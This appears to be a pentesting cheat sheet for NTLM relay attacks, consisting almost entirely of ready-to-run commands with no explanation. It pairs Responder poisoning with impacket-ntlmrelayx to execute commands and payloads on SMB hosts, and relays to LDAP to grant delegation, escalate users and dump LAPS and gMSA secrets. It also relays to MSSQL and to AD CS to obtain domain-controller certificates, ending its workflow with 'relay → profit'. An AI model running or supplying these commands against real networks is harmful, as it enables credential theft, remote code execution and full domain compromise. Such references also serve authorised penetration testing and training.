Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
NTLM relay attacks: ntlmrelayx, relay to SMB/LDAP/MSSQL, and delegation abuse.
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -i # Connect: nc 127.0.0.1 11000
impacket-ntlmrelayx -tf targets.txt -smb2support -e payload.exe
impacket-ntlmrelayx -t ldap://DC_IP --delegate-access
impacket-ntlmrelayx -t ldap://DC_IP --dump-laps impacket-ntlmrelayx -t ldap://DC_IP --dump-gmsa
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user targetuser
impacket-ntlmrelayx -t mssql://SQL_IP -smb2support -q "SELECT system_user"
impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
1. Disable SMB/HTTP in Responder (Responder handles poisoning only) 2. Start ntlmrelayx with targets 3. Start Responder 4. Wait for auth → relay → profit
# /etc/responder/Responder.conf SMB = Off HTTP = Off
responder -I eth0
crackmapexec smb SUBNET --gen-relay-list targets.txt
ntlmrelayx -tf targets.txt -smb2support
ntlmrelayx -t ldap://DC --delegate-access
ntlmrelayx -t http://CA/certsrv/... --adcs
ntlmrelayx -tf targets.txt -c "whoami"